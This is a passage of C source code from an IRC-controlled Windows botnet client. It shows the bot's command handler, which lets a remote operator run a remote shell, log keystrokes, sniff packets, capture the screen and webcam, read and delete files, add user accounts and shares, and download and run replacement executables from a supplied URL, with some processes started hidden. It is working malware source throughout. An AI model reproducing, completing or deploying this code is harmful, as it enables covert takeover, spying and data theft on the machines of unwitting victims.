  1419.                 else if (strcmp("c_quit", a[s]) == 0 || strcmp("c_q", a[s]) == 0) {
  1420.                     if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1421.                         irc_sendv(threads[atoi(a[s+1])].sock, "QUIT :later\r\n");
  1422.                         Sleep(500);
  1423.                         fclosesocket(threads[atoi(a[s+1])].sock);
  1424.                         TerminateThread(threads[atoi(a[s+1])].tHandle, id);
  1425.                         threads[atoi(a[s+1])].tHandle = 0;
  1426.                         threads[atoi(a[s+1])].name[0] = '\0';
  1427.                         }
  1428.  
  1429.                     return 1;
  1430.                     }
  1431.                 else if (strcmp("c_rndnick", a[s]) == 0 || strcmp("c_rn", a[s]) == 0) {
  1432.                     if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1433.                         sprintf(sendbuf, "NICK %s", rndnick(ntmp));
  1434.                         irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1435.                         }
  1436.  
  1437.                     return repeat;
  1438.                     }
  1439.                 else if (strcmp("prefix", a[s]) == 0 || strcmp("pr", a[s]) == 0) {
  1440.                     prefix = a[s+1][0];
  1441.                     sprintf(sendbuf,"[MAIN]: Prefix changed to: '%c'.",a[s+1][0]);
  1442.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1443.                     addlog(sendbuf);
  1444.  
  1445.                     return 1;
  1446.                     }
  1447.                 else if (strcmp("open", a[s]) == 0 || strcmp("o", a[s]) == 0) {
  1448.                     if (fShellExecute(0, "open", a[s+1], NULL, NULL, SW_SHOW))
  1449.                         sprintf(sendbuf,"[SHELL]: File opened: %s", a[s+1]);
  1450.                     else
  1451.                         sprintf(sendbuf,"[SHELL]: Couldn't open file: %s", a[s+1]);
  1452.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1453.                     addlog(sendbuf);
  1454.  
  1455.                     return repeat;
  1456.                     }
  1457.                 else if (strcmp("server", a[s]) == 0 || strcmp("se", a[s]) == 0) {
  1458.                     strncpy(server,  a[s+1], 127);
  1459.                     sprintf(sendbuf,"[MAIN]: Server changed to: '%s'.",a[s+1]);
  1460.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1461.                     addlog(sendbuf);
  1462.  
  1463.                     return 1;
  1464.                     }
  1465.                 else if (strcmp("dns", a[s]) == 0 || strcmp("dn", a[s]) == 0) {
  1466.                     LPHOSTENT hostent = NULL;
  1467.                     IN_ADDR iaddr;
  1468.                     DWORD addr = finet_addr(a[s+1]);
  1469.  
  1470.                     if (addr != INADDR_NONE) {
  1471.                         hostent = fgethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET);
  1472.                         if (hostent != NULL)
  1473.                             sprintf(sendbuf, "[DNS]: Lookup: %s -> %s.", a[s+1], hostent->h_name);
  1474.                         }
  1475.                     else {
  1476.                         hostent = fgethostbyname(a[s+1]);
  1477.                         if (hostent != NULL) {
  1478.                             iaddr = *((LPIN_ADDR)*hostent->h_addr_list);
  1479.                             sprintf(sendbuf, "[DNS]: Lookup: %s -> %s.", a[s+1], finet_ntoa(iaddr));
  1480.                             }
  1481.                         }
  1482.                     if (hostent == NULL)
  1483.                         sprintf(sendbuf,"[DNS]: Couldn't resolve hostname.");
  1484.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1485.                     addlog(sendbuf);
  1486.  
  1487.                     return repeat;
  1488.                     }
  1489. #ifndef NO_PROCESS
  1490.                 else if (strcmp("killproc",a[s]) == 0 || strcmp("kp", a[s]) == 0) {  // kill process name
  1491.                     if(listProcesses(sock,NULL,notice,a[s+1]) == 1)
  1492.                         sprintf(sendbuf,"[PROC]: Process killed: %s",a[s+1]);
  1493.                     else
  1494.                         sprintf(sendbuf,"[PROC]: Failed to terminate process: %s", a[s+1]);
  1495.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1496.                     addlog(sendbuf);
  1497.  
  1498.                     return repeat;
  1499.                     }
  1500.                 else if (strcmp("kill",a[s]) == 0 || strcmp("ki", a[s]) == 0) {  // kill process id
  1501.                     if(killProcess(atoi(a[s+1])) == 1)
  1502.                         sprintf(sendbuf,"[PROC]: Process killed ID: %s",a[s+1]);
  1503.                     else
  1504.                         sprintf(sendbuf,"[PROC]: Failed to terminate process ID: %s", a[s+1]);
  1505.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1506.                     addlog(sendbuf);
  1507.  
  1508.                     return 1;
  1509.                     }
  1510. #endif
  1511.                 else if (strcmp("delete", a[s]) == 0 || strcmp("del", a[s]) == 0) {
  1512.                     if (DeleteFile(a[s+1]))
  1513.                         _snprintf(sendbuf,sizeof(sendbuf),"[FILE]: Deleted '%s'.",a[s+1]);
  1514.                     else
  1515.                         _snprintf(sendbuf,sizeof(sendbuf),PrintError("[FILE]:"));
  1516.  
  1517.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1518.                     addlog(sendbuf);
  1519.  
  1520.                     return repeat;
  1521.                     }
  1522. #ifndef NO_DCC
  1523.                 else if (strcmp("get", a[s]) == 0 || strcmp("gt", a[s]) == 0) {
  1524.                     DCC dcc;
  1525.                     memset(dcc.host,0,sizeof(dcc.host));
  1526.                     sprintf(dcc.filename,"%s",a[s+1]);
  1527.  
  1528.                     dcc.sock = sock;
  1529.                     _snprintf(dcc.sendto,sizeof(dcc.sendto),user);
  1530.                     dcc.notice = notice;
  1531.                     dcc.silent = silent;
  1532.  
  1533.                     sprintf(sendbuf,"[DCC]: Send File: %s, User: %s.",dcc.filename,dcc.sendto);
  1534.                     dcc.threadnum=addthread(sendbuf,DCC_THREAD,NULL);
  1535.                     if (threads[dcc.threadnum].tHandle = CreateThread(NULL, 0, &DCCSendThread, (LPVOID)&dcc, 0, &id)) {
  1536.                         while (dcc.gotinfo == FALSE)
  1537.                             Sleep(50);
  1538.                         } else
  1539.                             sprintf(sendbuf,"[DCC]: Failed to start transfer thread, error: <%d>.", GetLastError());
  1540.                         addlog(sendbuf);
  1541.  
  1542.                         return 1;
  1543.                     }
  1544. #endif
  1545.                 else if (strcmp("list", a[s]) == 0 || strcmp("li", a[s]) == 0) {
  1546.                     GetFiles(a[s+1],sock,a[2],NULL);
  1547.                     addlogv("[FILE]: List: %s", a[s+1]);
  1548.  
  1549.                     return repeat;
  1550.                     }
  1551. #ifndef NO_VISIT
  1552.                 else if (strcmp("visit", a[s]) == 0 || strcmp("v", a[s]) == 0) {
  1553.                     VISIT visit;
  1554.                     strncpy(visit.host, a[s+1], sizeof(visit.host)-1);
  1555.                     if (a[s+2] != NULL)
  1556.                         strncpy(visit.referer, a[s+2], sizeof(visit.referer)-1);
  1557.                     strncpy(visit.chan, a[2], sizeof(visit.chan)-1);
  1558.                     visit.sock = sock;
  1559.                     visit.silent = silent;
  1560.                     visit.notice = notice;
  1561.  
  1562.                     sprintf(sendbuf,"[VISIT]: URL: %s.",a[s+1]);
  1563.                     visit.threadnum=addthread(sendbuf,VISIT_THREAD,NULL);
  1564.                     if (threads[visit.threadnum].tHandle = CreateThread(NULL, 0, &VisitThread, (LPVOID)&visit, 0, &id)) {
  1565.                         while(visit.gotinfo == FALSE)
  1566.                             Sleep(50);
  1567.                         } else
  1568.                             sprintf(sendbuf,"[VISIT]: Failed to start connection thread, error: <%d>.", GetLastError());
  1569.                         addlog(sendbuf);
  1570.  
  1571.                         return repeat;
  1572.                     }
  1573. #endif
  1574.                 else if (strcmp("mirccmd", a[s]) == 0 || strcmp("mirc", a[s]) == 0) {
  1575.                     if (x != NULL) {
  1576.                         char *y = strstr(x, a[s+1]);
  1577.                         if (y != NULL) {
  1578.                             if (!mirccmd(y))
  1579.                                 sprintf(sendbuf,"[mIRC]: Client not open.");
  1580.                             else
  1581.                                 sprintf(sendbuf,"[mIRC]: Command sent.");
  1582.                             if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1583.                             addlog(sendbuf);
  1584.                             }
  1585.                         }
  1586.  
  1587.                     return repeat;
  1588.                     }
  1589. #ifndef NO_REMOTECMD
  1590.                 else if (strcmp("cmd", a[s]) == 0 || strcmp("cm", a[s]) == 0) {
  1591.                     if (x != NULL) {
  1592.                         char *y = strstr(x, a[s+1]);
  1593.                         if (y != NULL) {
  1594.                             strcat(y,"\n");
  1595.                             if (!send_commands(y)) {
  1596.                                 sprintf(sendbuf,"[CMD]: Error sending to remote shell.");
  1597.                                 if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1598.                                 }
  1599.                             else
  1600.                                 sprintf(sendbuf,"[CMD]: Commands: %s",y);
  1601.                             addlog(sendbuf);
  1602.                             }
  1603.                         }
  1604.  
  1605.                     return repeat;
  1606.                     }
  1607. #endif
  1608.                 else if (strcmp("readfile", a[s]) == 0 || strcmp("rf", a[s]) == 0) {
  1609.                     FILE *fp;
  1610.                     if ((fp = fopen(a[s+1],"r")) != NULL) {
  1611.                         while (fgets(sendbuf,sizeof(sendbuf),fp) != NULL)
  1612.                             irc_privmsg(sock, a[2], sendbuf, notice, TRUE);
  1613.                         fclose(fp);
  1614.                         sprintf(sendbuf,"[MAIN]: Read file complete: %s",a[s+1]);
  1615.                         } else {
  1616.                             sprintf(sendbuf,"[MAIN]: Read file failed: %s",a[s+1]);
  1617.                             if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1618.                         }
  1619.                     addlog(sendbuf);
  1620.  
  1621.                     return repeat;
  1622.                     }
  1623. #ifndef NO_PSNIFF
  1624.                 else if (strcmp("psniff", a[s]) == 0) {
  1625.                     if (strcmp("on", a[s+1]) == 0) {
  1626.                         if (findthreadid(PSNIFF_THREAD) > 0)
  1627.                             sprintf(sendbuf ,"[PSNIFF]: Already running.");
  1628.                         else {
  1629.                             PSNIFF sniff;
  1630.                             sniff.sock = sock;
  1631.                             sniff.notice = notice;
  1632.                             sniff.silent = silent;
  1633.                             _snprintf(sniff.chan, sizeof(sniff.chan), ((a[s+2])?(a[s+2]):((strcmp(psniffchan,"")==0)?(a[2]):(psniffchan))));
  1634.  
  1635.                             sprintf(sendbuf, "[PSNIFF]: Carnivore packet sniffer active.");
  1636.                             sniff.threadnum = addthread(sendbuf, PSNIFF_THREAD, NULL);
  1637.                             if (threads[sniff.threadnum].tHandle = CreateThread(NULL, 0, &SniffThread, (LPVOID)&sniff, 0, &id)) {
  1638.                                 while(sniff.gotinfo == FALSE)
  1639.                                     Sleep(50);
  1640.                                 } else
  1641.                                     sprintf(sendbuf,"[PSNIFF]: Failed to start sniffer thread, error: <%d>.", GetLastError());
  1642.                             }
  1643.                         }
  1644.                     else if (strcmp("off", a[s+1]) == 0) {
  1645.                         if ((i=killthreadid(PSNIFF_THREAD)) > 0)
  1646.                             sprintf(sendbuf,"[PSNIFF]: Carnivore stopped. (%d thread(s) stopped.)",i);
  1647.                         else
  1648.                             sprintf(sendbuf,"[PSNIFF]: No Carnivore thread found.");
  1649.                         }
  1650.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1651.                     addlog(sendbuf);
  1652.  
  1653.                     return 1;
  1654.                     }
  1655. #endif
  1656. #ifndef NO_IDENT
  1657.                 else if (strcmp("ident", a[s]) == 0) {
  1658.                     if (strcmp("on", a[s+1]) == 0) {
  1659.                         if (findthreadid(IDENT_THREAD) > 0)
  1660.                             sprintf(sendbuf ,"[IDENT]: Already running.");
  1661.                         else {
  1662.                             sprintf(sendbuf,"[IDENTD]: Server running on Port: 113.");
  1663.                             i = addthread(sendbuf,IDENT_THREAD,NULL);
  1664.                             if ((threads[i].tHandle = CreateThread(NULL, 0, &IdentThread, (LPVOID)i, 0, &id)) == NULL)
  1665.                                 sprintf(sendbuf,"[IDENTD]: Failed to start server, error: <%d>.", GetLastError());
  1666.                             }
  1667.                         }
  1668.                     else if (strcmp("off", a[s+1]) == 0) {
  1669.                         if ((i=killthreadid(IDENT_THREAD)) > 0)
  1670.                             sprintf(sendbuf,"[IDENT]: Server stopped. (%d thread(s) stopped.)",i);
  1671.                         else
  1672.                             sprintf(sendbuf,"[IDENT]: No thread found.");
  1673.                         }
  1674.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1675.                     addlog(sendbuf);
  1676.  
  1677.                     return 1;
  1678.                     }
  1679. #endif
  1680. #ifndef NO_KEYLOG
  1681.                 else if (strcmp("keylog", a[s]) == 0) {
  1682.                     if (strcmp("on", a[s+1]) == 0 || strcmp("file", a[s+1]) == 0) {
  1683.                         if (findthreadid(KEYLOG_THREAD) > 0)
  1684.                             sprintf(sendbuf ,"[KEYLOG]: Already running.");
  1685.                         else {
  1686.                             KEYLOG keylog;
  1687.                             keylog.sock = sock;
  1688.                             keylog.notice = notice;
  1689.                             keylog.silent = ((strcmp("file", a[s+1]) == 0)?(TRUE):(silent));
  1690.                             _snprintf(keylog.chan, sizeof(keylog.chan), ((a[s+2])?(a[s+2]):((strcmp(keylogchan,"")==0)?(a[2]):(keylogchan))));
  1691.  
  1692.                             sprintf(sendbuf, "[KEYLOG]: Key logger active.");
  1693.                             keylog.threadnum = addthread(sendbuf, KEYLOG_THREAD, NULL);
  1694.                             if (threads[keylog.threadnum].tHandle = CreateThread(NULL, 0, &KeyLoggerThread, (LPVOID)&keylog, 0, &id)) {
  1695.                                 while(keylog.gotinfo == FALSE)
  1696.                                     Sleep(50);
  1697.                                 } else
  1698.                                     sprintf(sendbuf,"[KEYLOG]: Failed to start logging thread, error: <%d>.", GetLastError());
  1699.                             }
  1700.                         }
  1701.                     else if (strcmp("off", a[s+1]) == 0) {
  1702.                         if ((i=killthreadid(KEYLOG_THREAD)) > 0)
  1703.                             sprintf(sendbuf,"[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)",i);
  1704.                         else
  1705.                             sprintf(sendbuf,"[KEYLOG]: No key logger thread found.");
  1706.                         }
  1707.                     if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1708.                     addlog(sendbuf);
  1709.  
  1710.                     return 1;
  1711.                     }
  1712. #endif
  1713. #ifndef NO_NET
  1714.                 else if (strcmp("net", a[s]) == 0) {
  1715.                     if((!noadvapi32) || (!nonetapi32)) {
  1716.                         if (x != NULL) {
  1717.                             char *y = NULL;
  1718.                             if (a[s+2]) // get the full service name if exists
  1719.                                 y = strstr(x, a[s+2]);
  1720.                             if (strcmp("start", a[s+1]) == 0)
  1721.                                 if (a[s+2])
  1722.                                     sprintf(sendbuf, "%s", Services(NET_START, y));
  1723.                                 else {
  1724.                                     if (ListServices(sock, a[2], notice))
  1725.                                         sprintf(sendbuf, "[NET]: Service list completed.");
  1726.                                     else
  1727.                                         sprintf(sendbuf, "[NET]: Service list failed.");
  1728.                                     }
  1729.                             else if (strcmp("stop", a[s+1]) == 0)
  1730.                                 sprintf(sendbuf, "%s", Services(NET_STOP, y));
  1731.                             else if (strcmp("pause", a[s+1]) == 0)
  1732.                                 sprintf(sendbuf, "%s", Services(NET_PAUSE, y));
  1733.                             else if (strcmp("continue", a[s+1]) == 0)
  1734.                                 sprintf(sendbuf, "%s", Services(NET_CONTINUE, y));
  1735.                             else if (strcmp("delete", a[s+1]) == 0)
  1736.                                 sprintf(sendbuf, "%s", Services(NET_DELETE, y));
  1737.                             else if (strcmp("share", a[s+1]) == 0) {
  1738.                                 if (a[s+2]) {
  1739.                                     if (parameters['d'])
  1740.                                         sprintf(sendbuf, "%s", Shares(NET_DELETE, a[s+2]));
  1741.                                     else
  1742.                                         sprintf(sendbuf, "%s", Shares(NET_ADD, a[s+2], a[s+3]));
  1743.                                     } else {
  1744.                                         if (ListShares(sock, a[2], notice))
  1745.                                             sprintf(sendbuf, "[NET]: Share list completed.");
  1746.                                         else
  1747.                                             sprintf(sendbuf, "[NET]: Share list failed.");
  1748.                                     }
  1749.                                 }
  1750.                             else if (strcmp("user", a[s+1]) == 0) {
  1751.                                 if (a[s+2]) {
  1752.                                     if (parameters['d'])
  1753.                                         sprintf(sendbuf, "%s", Users(NET_DELETE, a[s+2], NULL, sock, a[2], notice));
  1754.                                     else {
  1755.                                         if (a[s+3])
  1756.                                             sprintf(sendbuf, "%s", Users(NET_ADD, a[s+2], a[s+3], sock, a[2], notice));
  1757.                                         else
  1758.                                             sprintf(sendbuf, "%s", Users(NET_INFO, a[s+2], NULL, sock, a[2], notice));
  1759.                                         }
  1760.                                     } else {
  1761.                                         if (ListUsers(sock, a[2], notice))
  1762.                                             sprintf(sendbuf, "[NET]: User list completed.");
  1763.                                         else
  1764.                                             sprintf(sendbuf, "[NET]: User list failed.");
  1765.                                     }
  1766.                                 }
  1767.                             else if (strcmp("send", a[s+1]) == 0) {
  1768.                                 if (a[s+2])
  1769.                                     sprintf(sendbuf, "%s", NetSend(y, sock, a[2], notice));
  1770.                                 else
  1771.                                     sprintf(sendbuf, "[NET]: No message specified.");
  1772.                                 }
  1773.                             else
  1774.                                 sprintf(sendbuf,"[NET]: Command unknown.");
  1775.                             }
  1776.                         } else
  1777.                             sprintf(sendbuf, "[NET]: Failed to load advapi32.dll or netapi32.dll.");
  1778.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1779.                         addlog(sendbuf);
  1780.  
  1781.                         return repeat;
  1782.                     }
  1783. #endif
  1784. #ifndef NO_CAPTURE
  1785.                 else if (strcmp("capture", a[s]) == 0 || strcmp("cap", a[s]) == 0) {
  1786.                     if (strcmp(a[s+1],"screen") == 0) {
  1787.                         if (a[s+2]) {
  1788.                             if (Capture(a[s+2]) == TRUE)
  1789.                                 sprintf(sendbuf,"[CAPTURE]: Screen capture saved to: %s.", a[s+2]);
  1790.                             else
  1791.                                 sprintf(sendbuf,"[CAPTURE]: Error while capturing screen.");
  1792.                             } else
  1793.                                 sprintf(sendbuf,"[CAPTURE]: No filename specified for screen capture.");
  1794.                         }
  1795.                     if (strcmp(a[s+1],"drivers") == 0) {
  1796.                         char buffer[1024],svName[256], svComment[IRCLINE];
  1797.  
  1798.                         for (i=0; i < 10; i++) {
  1799.                             if(fcapGetDriverDescription(i, svName, 255, svComment, (IRCLINE-1))) {
  1800.                                 sprintf(buffer, "[CAPTURE]: Driver #%d - %s - %s.", i, svName, svComment);
  1801.                                 irc_privmsg(sock,a[2],buffer,notice);
  1802.                                 }
  1803.                             }
  1804.                         sprintf(sendbuf,"[CAPTURE]: Driver list complete.");
  1805.                         }
  1806.                     if (strcmp(a[s+1],"frame") == 0) {
  1807.                         if (a[s+2] && a[s+3] && a[s+4] && a[s+5]) {
  1808.                             if (CaptureFrame(a[s+2], atoi(a[s+3]), atoi(a[s+4]), atoi(a[s+5])) == 0)
  1809.                                 sprintf(sendbuf,"[CAPTURE]: Webcam capture saved to: %s.", a[s+2]);
  1810.                             else
  1811.                                 sprintf(sendbuf,"[CAPTURE]: Error while capturing from webcam.");
  1812.                             } else
  1813.                                 sprintf(sendbuf,"[CAPTURE]: Invalid parameters for webcam capture.");
  1814.                         }
  1815.                     if (strcmp(a[s+1],"video") == 0) {
  1816.                         if (a[s+2] && a[s+3] && a[s+4] && a[s+5] && a[s+6]) {
  1817.                             if (CaptureVideo(a[s+2], atoi(a[s+3]), atoi(a[s+4]), atoi(a[s+5]), atoi(a[s+6])) == 0)
  1818.                                 sprintf(sendbuf,"[CAPTURE]: Amateur video saved to: %s.", a[s+2]);
  1819.                             else
  1820.                                 sprintf(sendbuf,"[CAPTURE]: Error while capturing amateur video from webcam.");
  1821.  
  1822.                             } else
  1823.                                 sprintf(sendbuf,"[CAPTURE]: Invalid parameters for amateur video capture.");
  1824.                         }
  1825.                     if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1826.                     addlog(sendbuf);
  1827.  
  1828.                     return repeat;
  1829.                     }
  1830. #endif
  1831.                 else if (strcmp("gethost", a[s]) == 0 || strcmp("gh", a[s]) == 0) {
  1832.                     if(strstr(host, a[s+1])) {
  1833.                         if (a[s+2]) {
  1834.                             char *y = strstr(x, a[s+2]);
  1835.                             if (y != NULL) {
  1836.                                 sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], y);
  1837.                                 strncpy(line,  sendbuf, (IRCLINE-1));
  1838.                                 sprintf(sendbuf,"[MAIN]: Gethost: %s, Command: %s", a[s+1],y);
  1839.                                 repeat++;
  1840.                                 } else
  1841.                                     sprintf(sendbuf,"[MAIN]: Unable to extract Gethost command.");                         
  1842.                             } else {
  1843.                                 irc_privmsg(sock, a[2], netinfo(sendbuf, host, sock), notice);
  1844.                                 _snprintf(sendbuf,sizeof(sendbuf),"[MAIN]: Gethost: %s.",a[s+1]);
  1845.                             }
  1846.                         addlog(sendbuf);
  1847.                         }
  1848.  
  1849.                     return repeat;
  1850.                     }
  1851.  
  1852.                 // commands requiring at least 2 parameters
  1853.                 else if (a[s+2] == NULL) return 1;
  1854.                 else if (strcmp("addalias", a[s]) == 0 || strcmp("aa", a[s]) == 0) {
  1855.                     if (x != NULL) {
  1856.                         char *y = strstr(x, a[s+2]);
  1857.                         if (y != NULL) {
  1858.                             addalias(a[s+1], y);
  1859.                             sprintf(sendbuf,"[MAIN]: Alias added: %s.", a[s+1]);
  1860.                             if(!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  1861.                             addlog(sendbuf);
  1862.                             }
  1863.                         }
  1864.  
  1865.                     return 1;
  1866.                     }
  1867.                 else if (strcmp("privmsg", a[s]) == 0 || strcmp("pm", a[s]) == 0) {
  1868.                     if (x != NULL) {
  1869.                         x = x + strlen(a[s]) + strlen(a[s+1]) + 2;
  1870.                         char *y = strstr(x, a[s+2]);
  1871.                         if (y != NULL) {
  1872.                             irc_privmsg(sock, a[s+1], y, FALSE);
  1873.                             addlogv("[MAIN]: Privmsg: %s: %s.",a[s+1], y);
  1874.                             }
  1875.                         }
  1876.  
  1877.                     return repeat;
  1878.                     }
  1879.                 else if (strcmp("action", a[s]) == 0 || strcmp("a", a[s]) == 0) {
  1880.                     if (x != NULL) {
  1881.                         x = x + strlen(a[s]) + strlen(a[s+1]) + 2;
  1882.                         char *y = strstr(x, a[s+2]);
  1883.                         if (y != NULL) {
  1884.                             sprintf(sendbuf, "\1ACTION %s\1", y);
  1885.                             irc_privmsg(sock, a[s+1], sendbuf, FALSE);
  1886.                             addlogv("[MAIN]: Action: %s: %s.",a[s+1], y);
  1887.                             }
  1888.                         }
  1889.  
  1890.                     return repeat;
  1891.                     }
  1892.                 else if (strcmp("cycle", a[s]) == 0 || strcmp("cy", a[s]) == 0) {
  1893.                     if (strcmp("332", a[1]) == 0)
  1894.                         return 1;
  1895.                     irc_sendv(sock, "PART %s\r\n", a[s+2]);
  1896.                     Sleep(atoi(a[s+1])*1000);
  1897.                     irc_sendv(sock, "JOIN %s %s\r\n", a[s+2], a[s+3]);
  1898.                     addlog("[MAIN]: Cycle.");
  1899.  
  1900.                     return repeat;
  1901.                     }
  1902.                 else if (strcmp("mode", a[s]) == 0 || strcmp("m", a[s]) == 0) {
  1903.                     if (x != NULL) {
  1904.                         char *y = strstr(x, a[s+1]);
  1905.                         if (y != NULL) {
  1906.                             irc_sendv(sock, "MODE %s\r\n", y);
  1907.                             addlogv("[MAIN]: Mode change: %s",y);
  1908.                             }
  1909.                         }
  1910.  
  1911.                     return repeat;
  1912.                     }
  1913.                 else if (strcmp("c_raw", a[s]) == 0 || strcmp("c_r", a[s]) == 0) {
  1914.                     if (x != NULL) {
  1915.                         char *y = strstr(x, a[s+2]);
  1916.                         if (y != NULL && atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1917.                             irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", y);
  1918.                             addlogv("[CLONE]: Raw (%s): %s", a[s+1], y);
  1919.                             }
  1920.  
  1921.                         }
  1922.  
  1923.                     return repeat;
  1924.                     }
  1925.                 else if (strcmp("c_mode", a[s]) == 0 || strcmp("c_m", a[s]) == 0) {
  1926.                     if (x != NULL) {
  1927.                         char *y = strstr(x, a[s+2]);
  1928.                         if (y != NULL)
  1929.                             sprintf(sendbuf, "MODE %s", y);
  1930.                         if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1931.                             irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1932.                             addlogv("[CLONE]: Mode (%s): %s", a[s+1], y);
  1933.                             }
  1934.                         }
  1935.  
  1936.                     return repeat;
  1937.                     }
  1938.                 else if (strcmp("c_nick", a[s]) == 0 || strcmp("c_n", a[s]) == 0) {
  1939.                     sprintf(sendbuf, "NICK %s", a[s+2]);
  1940.                     if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS) {
  1941.                         irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1942.                         addlogv("[CLONE]: Nick (%s): %s", a[s+1], a[s+2]);
  1943.                         }
  1944.  
  1945.                     return repeat;
  1946.                     }
  1947.                 else if (strcmp("c_join", a[s]) == 0 || strcmp("c_j", a[s]) == 0) {
  1948.                     sprintf(sendbuf, "JOIN %s %s", a[s+2], a[s+3]);
  1949.                     if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS)
  1950.                         irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1951.  
  1952.                     return repeat;
  1953.                     }
  1954.                 else if (strcmp("c_part", a[s]) == 0 || strcmp("c_p", a[s]) == 0) {
  1955.                     sprintf(sendbuf, "PART %s", a[s+2]);
  1956.                     if (atoi(a[s+1]) > 0 && atoi(a[s+1]) < MAXTHREADS)
  1957.                         irc_sendv(threads[atoi(a[s+1])].sock, "%s\r\n", sendbuf);
  1958.  
  1959.                     return repeat;
  1960.                     }
  1961.                 else if (strcmp("repeat", a[s]) == 0 || strcmp("rp", a[s]) == 0) {
  1962.                     if (strcmp("332", a[1]) == 0) return 1;
  1963.                     if (x != NULL) {
  1964.                         char *r = strstr(x, a[s+2]);
  1965.                         if (strcmp(a[s+2]+1,"repeat") != 0) {
  1966.                             sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r);
  1967.                             strncpy(line,  sendbuf, (IRCLINE-1));
  1968.                             sprintf(sendbuf,"[MAIN]: Repeat: %s", r);
  1969.                             addlog(sendbuf);
  1970.  
  1971.                             if (atoi(a[s+1]) > 0)
  1972.                                 return repeat + atoi(a[s+1]);
  1973.                             else
  1974.                                 return repeat;
  1975.                             } else {
  1976.                                 sprintf(sendbuf,"[MAIN]: Repeat not allowed in command line: %s", r);
  1977.                                 if (!silent) irc_privmsg(sock,a[2],sendbuf,notice);
  1978.                                 addlog(sendbuf);
  1979.                             }
  1980.                         }
  1981.  
  1982.                     return repeat;
  1983.                     }
  1984.                 else if (strcmp("delay", a[s]) == 0 || strcmp("de", a[s]) == 0) {
  1985.                     if (strcmp("332", a[1]) == 0) return 1;
  1986.                     if (x != NULL) {
  1987.                         char *r = strstr(x, a[s+2]);
  1988.                         sprintf(sendbuf, "%s %s %s :%s", a[0], a[1], a[2], r);
  1989.                         strncpy(line,  sendbuf, 511);
  1990.                         if (atoi(a[s+1]) > 0)
  1991.                             Sleep(atoi(a[s+1])*1000);
  1992.                         addlog("[MAIN]: Delay.");
  1993.                         return repeat + 1;
  1994.                         }
  1995.  
  1996.                     return 1;
  1997.                     }
  1998. #ifndef NO_DOWNLOAD
  1999.                 else if (strcmp("update", a[s]) == 0 || strcmp("up", a[s]) == 0) {
  2000.                     if (strcmp(botid, a[s+2]) != 0) {
  2001.                         char tempdir[MAX_PATH], tmpbuf[MAXNICKLEN];
  2002.                         GetTempPath(sizeof(tempdir), tempdir);
  2003.  
  2004.                         DOWNLOAD dl;
  2005.                         strncpy(dl.url,  a[s+1], sizeof(dl.url)-1);
  2006.                         sprintf(dl.dest, "%s%s.exe", tempdir, rndnickletter(tmpbuf));
  2007.                         dl.update = 1;
  2008.                         dl.run = 0;
  2009.                         dl.expectedcrc=((a[s+3])?(strtoul(a[s+3],0,16)):(0));
  2010.                         dl.filelen=((a[s+4])?(atoi(a[s+4])):(0));
  2011.                         dl.encrypted=(parameters['e']);
  2012.  
  2013.                         dl.sock = sock;
  2014.                         strncpy(dl.chan,  a[2], sizeof(dl.chan)-1);
  2015.                         dl.notice=notice;
  2016.                         dl.silent = silent;
  2017.  
  2018.                         sprintf(sendbuf, "[UPDATE]: Downloading update from: %s.", a[s+1]);
  2019.                         dl.threadnum = addthread(sendbuf, UPDATE_THREAD, sock);
  2020.                         if (threads[dl.threadnum].tHandle = CreateThread(NULL, 0, &DownloadThread, (LPVOID)&dl, 0, &id)) {
  2021.                             while(dl.gotinfo == FALSE)
  2022.                                 Sleep(50);
  2023.                             } else
  2024.                                 sprintf(sendbuf,"[UPDATE]: Failed to start download thread, error: <%d>.", GetLastError());
  2025.                         } else
  2026.                             sprintf(sendbuf,"[UPDATE]: Bot ID must be different than current running process.");
  2027.  
  2028.                         if (!silent) irc_privmsg(sock, a[2], sendbuf, notice);
  2029.                         addlog(sendbuf);
  2030.  
  2031.                         return repeat;
  2032.                     }
  2033. #endif
  2034.                 // FIX ME: Add execute with output, rip from my IROFFER
  2035.                 else if (strcmp("execute", a[s]) == 0 || strcmp("e", a[s]) == 0) {
  2036.                     PROCESS_INFORMATION pinfo;
  2037.                     STARTUPINFO sinfo;
  2038.                     memset(&sinfo, 0, sizeof(STARTUPINFO));
  2039.                     sinfo.cb = sizeof(sinfo);
  2040.                     sinfo.dwFlags = STARTF_USESHOWWINDOW;
  2041.                     sinfo.wShowWindow=SW_HIDE;
  2042.                     if (atoi(a[s+1]) == 1) sinfo.wShowWindow=SW_SHOW;
  2043.                     if (x != NULL) {
  2044.                         char *y = strstr(x, a[s+2]);
  2045.                         if (y != NULL)
